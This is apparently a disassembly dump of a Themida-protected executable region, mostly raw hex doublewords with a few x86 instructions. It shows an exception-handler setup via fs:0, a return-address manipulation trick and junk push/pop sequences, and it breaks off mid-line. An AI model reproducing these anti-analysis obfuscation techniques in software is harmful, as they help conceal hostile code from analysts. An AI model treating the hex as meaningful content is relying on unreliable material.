259D2900h, 8B060B21h, 6850FC1h, 9000000h, 0B0E4DBDh dd 4E8C106h, 8BBDB760h, 0B17CD95h, 81666106h, 668B54D7h dd 8D29E2F7h, 60B207Dh, 9D8BC82Bh, 60B0069h, 99BBD18Bh dd 0E91281DBh, 18h, 0EE9h, 8C7CB200h, 0B3B9F20Ch, 81F60676h dd 667C02E2h, 20B5DF81h, 2139858Bh, 9D31060Bh, 60B21F1h dd 3107C083h, 0B26C58Dh, 0C08306h, 603F3DBFh, 0FD03B00h dd 2083h, 7DB58900h, 0E9060B08h, 5Ah, 0AE9h, 14C3F500h dd 5AE5F044h, 89EF7132h, 0B1B01B5h, 0E98D8B06h, 80060B13h dd 0E18348D3h, 33840F01h, 0BB000000h, 22F0B610h, 13E9A583h dd 0E8FE060Bh, 0Ah, 7276F71Bh, 657D653Ch, 9D23E094h, 60B02A1h dd 3995895Fh, 81060B21h, 18C5A4D7h, 0E94Fh, 0B58D0000h dd 60F00DBh, 59DBD8Bh, 0B589060Bh, 60B0BA5h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A6573C3h, 426ABBD1h, 0FFF9779Ch, 0B32DD95h, 0B5BD8906h dd 0B9060B31h, 8E6h, 9E9h, 52593600h, 0EF095A82h, 2DBB1F29h dd 8352EE01h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 5C6752C3h, 6AFC6DDCh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 163BC353h, 0ACA4D37Bh, 0B70FE9E8h, 89C02BD9h, 0B29059Dh dd 6AD22B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 78BCC357h, 29FB0D2Ch, 0B0F35B5h dd 0C233AD06h, 0D003E8D1h, 7504E983h, 118531F4h, 6A060B10h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 9D73C353h, 0F517A9Fh, 683h, 19BD8B00h, 5B060B33h dd 880Dh, 958BF500h, 60B174Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0D1C35242h, 594367DFh, 929BD8Bh dd 9D8B060Bh, 60B2EE9h, 1198D8Bh, 6A060Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0C1BD66C3h dd 0AB43D987h, 1B918589h, 8B50060Bh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 6810Fh, 0E7810000h, 3D4AF582h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 13C35747h dd 0E9BD8B66h, 83060B19h, 0B29BDBDh, 840F0006h, 7Ah, 559D8B51h dd 5F060B2Fh, 2A599D8Bh, 0B8060Bh, 81000000h, 0A9CA6BDBh dd 0D78D8D4Eh, 6A060B4Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 40B6C350h, 6880F80h dd 9000000h, 0B16ADB5h, 0B6BF6606h, 6AE1FF74h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 93C6C356h, 0BFD99B29h, 31ED8C8Bh, 68DB529h, 0BD83060Bh dd 60B1009h, 78840F00h, 66000004h, 83D85ABBh, 0B1009BDh dd 840F0106h, 482h, 9599BB66h, 1009BD83h, 0F03060Bh, 43B86h dd 6A6000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0FD60C4C3h, 16B99D8Bh, 6E8060Bh, 0EC000000h dd 110B099Eh, 0B1BD8909h, 5F060B19h, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 102DC356h, 0E180D44Fh, 0D98D8904h, 0A060B13h, 61840FC9h dd 8B000001h, 0B218DBDh, 31606006h, 0B1241BDh, 6161F906h dd 317D858Bh, 8166060Bh, 33680EF7h, 0B06ED85h, 0BDBD0106h dd 0F5060B18h, 0DE990h, 0E6C40000h, 0EB80364Dh, 544725C1h dd 50AF2B23h, 6A90DA8Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8930C352h, 0B078595h dd 66006A06h, 0E8CD43BFh, 4, 1F03FFh, 16870F50h, 0E8000000h dd 0Eh, 58D0E6F1h, 0E4E2DB14h, 1716CF4h, 0AB7E0B9h, 24448B5Fh dd 13E904h, 85C20000h, 0CA456E7Fh, 0EC254467h, 56C63062h dd 13A8F47h, 0E9008B2Ch, 12h, 31FF77C1h, 53CCF8AAh, 1FA1D196h dd 0D56711C1h, 44894781h, 0F510424h, 28Ch, 5F616000h, 0BBBB6658h dd 0D195FF39h, 6A060B03h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 5B7C352h, 99EECE1h dd 8589110Bh, 60EA81Dh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0B6C35141h, 0E2AEAD4Bh dd 0EF5D2B79h, 19B5093Dh, 0F060B04h, 0CEE9DBBFh, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0F0D6C352h, 0FC527BE7h, 0BD8BF91Fh, 60B0BC9h dd 0A815858Bh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 86DC5FC3h, 0C9F333B2h, 182711BBh dd 1800C73Dh, 0FC000000h, 0A819B58Bh, 6A060Eh, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 33F9C6C3h, 0B2849BDh, 0E59D8B06h, 8B060B07h, 0B06E185h dd 895EB706h, 29BD3306h, 1060B10h, 0B112995h, 7D858B06h dd 6A060B31h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 3A12C350h, 10E8h, 95F6B200h, 0CFBC3BA1h dd 0C14A6DFEh, 4EECB116h, 95B509A8h, 5B060B01h, 0EE9h dd 7EEB9700h, 77EB7E83h, 67BAE7F9h, 8917F674h, 60510446h dd 5A56C18Bh, 8B965F61h, 8B6650FBh, 0D78196F8h, 5E036FFCh dd 6880Fh, 0BD8B0000h, 60B2DFDh, 0A815B5FFh, 6A060Eh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 1D4AB1C3h, 0A7CA855Fh, 0D781E4ECh, 2B8DAB0h, 4ACB7F68h dd 13E9E7h, 5BA30000h, 0B58ECAD2h, 0CDE575A6h, 0E6A1F64h dd 3A656327h, 240481AFh, 18D43880h, 1D858DF9h, 8B060EA8h dd 0B240D9Dh, 0BF669006h, 6650A488h, 90902ABFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h, 9D8B6080h dd 60B2EC9h, 0D195FF61h, 9060B03h, 0B31698Dh, 13E906h dd 0BCC50000h, 0E8803D51h, 68D90A7Dh, 401DA51Dh, 6F0DF8A1h dd 6A617Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 56BE2FC3h, 16EBCF6Fh, 0BF0FD02Bh, 6DBD8BDAh dd 0C7060B29h, 0B100985h, 306h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C4CA9019h dd 8A18BF66h, 0A81DBD83h, 0F00060Eh, 6384h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0E9FA8BB2h, 0Ah, 1688801Dh, 87E0C55Ah, 4CE9688Eh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0DB5C351h, 0FE9h, 73B6C100h, 6763C9ACh, 8BB8647h dd 6B29C3B8h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0FFEAC351h, 66C989CAh, 6880Fh dd 8D010000h, 60B0D19h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 65C35747h, 0C5E47935h, 1DCF310Ah, 93E8F381h dd 0BD8369BAh, 60B1009h, 69850F03h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0EFBAC353h, 2D001110h, 0CA3EA813h, 0A81DBD83h, 0F00060Eh dd 43784h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 33C2583Eh, 0B23159Dh, 9850906h, 0FF060B18h dd 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 2A50059h, 4C60ED55h, 0FF4AB309h dd 0B083D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 8E7E71Ch, 8BC75024h, 0EA811B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 9D896F49h, 60B1F71h, 106C7h, 6A0001h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 291609C3h dd 8DE48120h, 7D9589D4h, 0E8060B18h, 5, 755481F0h, 0FE8B573Bh dd 50505B5Fh, 0FA8B6652h, 8D0F310Fh, 6, 310F5250h, 585A585Ah dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0D13FC355h, 47FB3CA8h, 84391C5Ah dd 6299D31h, 6E9060Bh, 0F0000000h, 1C9B6688h, 0B5FFF8A8h dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 3DC35242h, 6C07EC38h, 1C5CA77Ah, 0C5B5099Bh, 0FF060B14h dd 0B064195h, 0C18D8906h, 8B060B08h, 0EA811B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 58804D60h, 1FBF6664h, 1D858BADh, 6A060B12h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0BF97C356h, 0FC872E79h, 9D332062h, 60B3129h, 8D59529h dd 8689060Bh, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 80C35141h, 286AD781h, 0BB663804h, 958B49D7h dd 60B174Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 88C35646h, 0B95B589h, 0B70F060Bh, 4C283DAh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 10E9489Dh dd 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 89F992C9h dd 95892050h, 60B0F49h, 0BAEE858Dh, 6A060Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8A03D1C3h dd 0E79D8BBEh, 8689FB5Eh, 0B8h, 0BD03006Ah, 60B08C9h, 0A81DB5FFh dd 840F060Eh, 6, 21759501h, 95FF060Bh, 60B0F15h, 5050F98Ah dd 0DE8B6652h, 8B66310Fh, 89585ADFh, 6A2434h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 6B20BC3h dd 0DF8B340Ah, 0A81DB5FFh, 6A060Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 5A9210C3h dd 0BB66F379h, 95FF78E2h, 60B00F5h, 13E9h, 0CE8F900h, 0F0CAD46Eh dd 8ECD974Bh, 0FFCFC336h, 0F9650019h, 2191BD83h, 0F00060Bh dd 3284h, 0BD9D8B00h, 96060B06h, 50F98B66h, 6A96DF8Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 54D0C357h, 0C3600A0Ah, 0FFFAA4D1h, 0EA81DB5h dd 0FDBD8B06h, 0FF060B06h, 0B128195h, 0FF87B306h, 0EA81DB5h dd 89D98B06h, 0B32D985h, 8D95FF06h, 80060B0Bh, 0BD83FFEBh dd 60B17F1h, 7A840F02h, 0E8000000h, 10h, 937FA6Fh, 0CB6B3842h dd 678D4911h, 6DADF841h, 0AE8h, 0DCEB8D00h, 5BE4A752h dd 8BBB256Dh, 0B29C5BDh, 8B5F5B06h, 0B2EC585h, 6820F06h dd 89000000h, 0B1A99B5h, 0AE906h, 0C6550000h, 97241D61h dd 0D5C25EDCh, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 1EEDC352h, 0E176D44Ah dd 0D78043BFh, 78BB669Eh, 0B985C7D4h, 60B06h, 0F000000h dd 0BD8BD8BFh, 60B13BDh, 0FFF2C5E9h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8BF63B33h, 0B0EE99Dh, 6AC18B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 996DC351h, 0F5589730h, 5D86E28h, 68F0F57h, 8B000000h dd 0B16819Dh, 858D5B06h, 60B28A9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0BDC35343h, 8CEDC9EEh, 8088A98Fh dd 0F60C0E3h, 0B70FF7BFh, 895061C6h, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 84EFAEC3h dd 94197B84h, 8B669FA4h, 6A006AFAh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0FB7FC357h dd 8E8B8h, 0CF0A0000h, 0D6A7A45Ch, 0CF81DA05h, 3EC0440Ch dd 0DF8B665Bh, 12E9006Ah, 21000000h, 0AF6EC901h, 91520E6Fh dd 0E25BE1Ch, 977CCBE8h, 1A858DC4h, 8B060FA1h, 0B2E319Dh dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 4BC35242h, 655E8939h, 6850Fh, 0BD8B0000h, 60B2981h dd 24048950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 97C35343h, 0A4B251ABh, 0E7872F2Dh, 79BD2968h, 6A060B13h dd 0D8B70F00h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 742186C3h, 2195FF58h, 6A060B2Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0FF7C350h, 8D8DDEB7h, 60EA7B0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B9C35646h, 0A98D89A8h dd 0FF060B04h, 0BD9D01D1h, 83060B21h, 0B0B19BDh, 850F0106h dd 8Ah, 536EBE60h, 830F28C1h, 14h, 0EE8h, 46ABB600h, 5D582F38h dd 7D4FAF4Eh, 5EFF1657h, 0F026A61h, 8A90F8BFh, 59BB50DAh dd 9072ACA3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 6DC35646h, 958960DDh, 60B19C1h, 6E9h, 9FF0BE00h dd 61340857h, 0F1595FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0DFFEB1C3h, 3FE8728Ah dd 17E992B2h, 0E800000Ch, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 60FA124h pusha jg loc_5861DC ja $+6 loc_5861DC: ; CODE XREF: Themida_:005861D0j popa add edi, 4320F5ECh lea eax, [ebp+60E9293h] mov ebx, [ebp+60B0FADh] nop push eax mov edi, eax nop pusha xor edi, [ebp+60B2E09h] mov [ebp+60B0115h], eax popa push large dword ptr fs:0 push 0 push eax call sub_586214 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586214 proc near ; CODE XREF: Themida_:0058620Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_586214 endp ; --------------------------------------------------------------------------- pop edi jmp short loc_58626D ; --------------------------------------------------------------------------- db 78h dd 506E1006h, 6FF38166h, 0AD9501A8h, 64060B1Ah, 2589h dd 95890000h, 60B29ADh, 66D85FFh, 5260060Bh, 42F7CE81h dd 0F587B8Eh, 6A61DABFh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h db 4 ; --------------------------------------------------------------------------- loc_58626D: ; CODE XREF: Themida_:00586225j push ss ; --------------------------------------------------------------------------- dw 0 dd 0C3534300h, 0FF462078h, 0B0105B5h, 11958906h, 0FF060B22h dd 0B241195h, 0EDE906h, 0B5890000h, 60B07D5h, 0AE900B0h dd 0A6000000h, 1BF72625h, 0E7BF25E9h, 170E690h, 0B233995h dd 51BD8B06h, 0E4060B18h, 0F7816671h, 613CB060h, 0B9830Fh dd 9D890000h, 60B0069h, 0BAC8B60Fh, 6, 29899D33h, 0C18B060Bh dd 0E2A1EB81h, 0E8C17ECCh, 67BF6604h, 0E2F766CBh, 233D9D89h dd 0C82B060Bh, 87B96051h, 6159BB78h, 0F5D18B5Fh, 6E9h dd 35BD3300h, 8B060B27h, 0B329185h, 9DB58906h, 83060B05h dd 0EF8107C0h, 4BCE7688h, 8A00C083h, 0FD03BD9h, 1583h dd 0D0806000h, 22F0BBA3h, 0E96177E6h, 43h, 166D9D8Bh, 8D8B060Bh dd 60B2A6Dh, 39850960h, 81060B04h, 9F54F4E7h, 0E1836178h dd 20840F01h, 0F000000h, 81h, 6DA58300h, 0FE060B2Ah, 919589F8h dd 57060B32h, 3366C6BBh, 0E95F61h, 8D000000h, 0F0B15B5h dd 0BFD78106h, 6A0AB0FEh, 0A6C38000h, 32DD95FFh, 9D2B060Bh dd 60B1965h, 71FB9h, 0E183F500h, 66FCF5FCh, 9F5BEF81h dd 68E0Fh, 0BD8B0000h, 60B23F5h, 6AC02Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 8F31CAC3h dd 239C2484h, 0B31D5BDh, 6AD22B06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7540C357h dd 3E7AAD5Fh, 882969BBh, 8D9D893Bh, 0AD060B32h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 537AC352h, 0BDD407E4h dd 9D8960F7h, 60B1359h, 31858B60h, 0E9060B2Eh, 10h, 6F812D4Eh dd 0DC922A80h, 0F75D434Bh, 0CC362178h, 830F6161h, 6, 0E15BD8Bh dd 880D060Bh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0C7FAC357h, 0F98B9651h dd 8BD8B70Fh, 0B174D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 1D958909h, 8B060B24h dd 0B01198Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0C93DD0F1h, 0F88BF992h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 4D3A13C3h dd 0E3816642h, 6AEBF7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 6C3767C3h, 839718CAh, 0B29BDBDh dd 840F0006h, 54h, 800Fh, 0B80000h, 89000000h, 0B32F9B5h dd 0D78D8D06h, 81060B4Dh, 9416D7F7h, 6AE1FF49h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 1ADDC353h, 0AED07A3h, 2820Fh, 0DE8B0000h, 68B0Fh, 0BD8B0000h dd 60B206Dh, 1009BD83h, 0F00060Bh, 3D984h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E9B3D5C9h, 0Fh, 85AA7CD0h, 7244AE57h, 0AD435BD2h, 83BD5C56h dd 0B1009BDh, 840F0106h, 3B5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 99C35141h, 0AED46228h, 0D34A47EBh dd 0D5BD3185h, 56060B17h, 0C9F638BBh, 0BD835B4Fh, 60B1009h dd 40860F03h, 0FC000003h, 0E1858960h, 89060B17h, 0B279D9Dh dd 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 9BC35242h, 9589C62Ch, 60B234Dh, 0DEB70F57h, 0E9C7805Bh dd 6A04E180h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0FCBDC351h, 901BD2Bh, 0C90A060Bh dd 0D3840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 3FBBD3C3h, 8B1128C5h, 0B317D85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 5FD18C2Fh, 8533F5A9h, 60B06EDh, 6690F98Bh dd 501901BFh, 95E9BF66h, 99BD2990h, 0FC060B17h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0F208A5C3h, 0F75BD89h, 0FF68060Bh, 810B777Dh, 7E002434h dd 6A0B68h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 8B5142C3h, 3D195FFh, 8166060Bh, 899ED8E3h dd 0EA81D85h, 0E878BF06h, 7AE94975h, 81000001h, 0D0B48F3h dd 15858B34h, 8B060EA8h, 0B05D59Dh, 0BE906h, 1C880000h dd 0C3AEDC07h, 0C3FECD07h, 1800C757h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0A1F4C351h, 0A819B58Bh, 8B66060Eh, 0E1858BFBh, 89060B06h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 4444285Bh, 9235220h, 0BD232DC6h, 60B12B5h dd 317D858Bh, 0BD8B060Bh, 60B0BA5h, 0BF044689h, 6CD6A185h dd 5318589h, 6696060Bh, 500343BBh, 61606060h, 87BA5761h dd 5F599967h, 6A9661h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BF6608C3h, 0B5FF9E3Ch, 60EA815h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 90C35545h dd 0BD2956F2h, 60B1341h, 3D1685Bh, 6651246Ah, 815BDF8Bh dd 2E2434h, 6A2475h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0A6B020C3h, 858D9E1Ah, 60EA81Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 79C35343h dd 6E8ACh, 73970000h, 0D6E7A5BFh, 0F91BD01h, 905B060Bh dd 0BB50FB8Bh, 23C646CEh, 7DBD8990h, 0FF060B0Bh, 0B03D195h dd 67BB6606h, 6A6163h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 5AB9ABC3h, 8848BFDEh, 8B662194h dd 985C7D8h, 3060B10h, 0BF000000h, 3FBF3810h, 0A81DBD83h dd 0F00060Eh, 4A84h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 44E95Ah, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 1347BC3h, 0B0E69BDh, 0AD952906h, 50060B0Bh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0BD89C08Bh dd 60B06D5h, 6E8h, 5A524100h, 3B68BB9h, 0B02A99Dh, 6E95F06h dd 7F000000h, 0E1F2645Ah, 9BD83E3h, 3060B10h, 3DF850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 8B6642C3h, 1DBD83F8h, 60EA8h, 3B3840Fh, 8E90000h dd 0E6000000h, 585681E2h, 0FFB440EAh, 0EA81DB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0CEB1DFEh, 0D2B14483h, 89BD2957h, 5B060B03h, 83D95FFh dd 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8918B9C3h, 0B0671BDh, 11B58B06h, 6A060EA8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 1AB9C350h, 6C74347h, 10001h, 1B558589h, 6096060Bh dd 880F53h, 5F000000h, 5061DE8Bh, 5E95250h, 85000000h dd 0B4A89935h, 0E853310Fh, 0Ch, 0CCA14C98h, 8502F5AAh dd 42F787BFh, 585A5B5Fh, 5820F96h, 0BB000000h, 2F60ECFAh dd 0A81DB5FFh, 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0F76D6DC3h, 66126788h, 95FFFB8Bh dd 60B0641h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0E8C35242h, 9D8BE737h, 60B0B39h, 15A1B589h, 0B58B060Bh dd 60EA811h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 0CAC35343h, 0BF395B8h, 1299DFE3h, 0CE9h, 0E93EB900h dd 0E7FABF82h, 8EBFB665h, 1D858B50h, 0F060B12h, 584h, 0CF816600h dd 86893F7Bh, 0C4h, 6D958B60h, 66060B0Fh, 61823EBBh, 174D958Bh dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0B88D80C3h, 8E93B8Eh, 81000000h, 654F0725h dd 8318536Eh, 0BD0304C2h, 60B29E5h, 0F205089h, 1982h, 14E900h dd 5B2B0000h, 8202E09Ah, 0C0589C2Ah, 72797BA4h, 5491DAF5h dd 858DD185h, 60EBAEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0A1C35545h, 0DCDBD31h, 8689060Bh, 0B8h dd 0DE9h, 0E34B3C00h, 0FA67209Fh, 0ACE45AFFh, 6ABF28h dd 9860Fh, 8B600000h, 1C21B8C2h, 0FF61303Ch, 0EA81DB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0CDEAAF03h, 59589A3h, 0FF060B07h, 0B0F1595h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 9ABD49E1h, 6CC2FFB2h, 0DFBF0FA7h, 0FE996h dd 0B52D0000h, 9F9C7F83h, 4D75D63h, 3D5D41F2h, 0B7515034h dd 0B7965B83h, 1DB5FFABh, 6A060EA8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 68E9C357h dd 0C229F84Dh, 0E9A87D66h, 7, 0F9312C7Ch, 0FF81A549h, 0B00F595h dd 1DBD0106h, 83060B29h, 0B2191BDh, 840F0006h, 15h, 192D9501h dd 0BF50060Bh, 465048BAh, 89243489h, 0B0435BDh, 1DB5FF06h dd 66060EA8h, 734AEF81h, 128195FFh, 0E7B3060Bh, 0A81DB5FFh dd 0FBBF060Eh, 0FF2FB5ABh, 0B0B8D95h, 0F1BD8306h, 2060B17h dd 3D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 5051F0C3h, 5B5B5F51h, 2EC5858Bh dd 0BD8B060Bh, 60B13C1h, 0F0000C6h, 68Dh, 72EF8100h, 0C71B1B6Ah dd 0B06B985h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0BF71625Fh, 0ACAC28D3h dd 0F489E9D0h, 8166FFFFh, 8BEA8ADFh, 0D78166C1h, 858DE6B7h dd 60B28A9h, 7E9h, 2B047E00h, 65B8BABEh, 24048950h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0A5C35040h, 94C4D614h dd 6ADE8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0F4C35747h, 931DCE0h, 880D33F4h, 10E9h, 0A4FB0B00h dd 3F46F8D4h, 0B06C45C0h, 0D7363A92h, 0B5BD2BB7h, 6A060B27h dd 21BD0B00h, 8D060B27h, 0FAFAB85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 5EC1C252h dd 0F7C603ADh, 8A0FFE8Bh, 6, 293D9D8Bh, 0C083060Bh, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0B5895F77h, 60B2EF9h, 830F5790h, 0Bh, 6E9h, 3A4EAE00h dd 5B9454FAh, 0B8C0F50h, 50000000h, 0BF310F52h, 54F02B9Fh dd 0BF90585Ah, 6D832311h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 9BA5EBC3h, 0BD0B4C55h dd 60B29FDh, 6AD98Bh, 0FFF8BF0Fh, 0B2F2195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 68524FFEh, 0E1BF914Ch, 810D39B1h, 3351D1D3h, 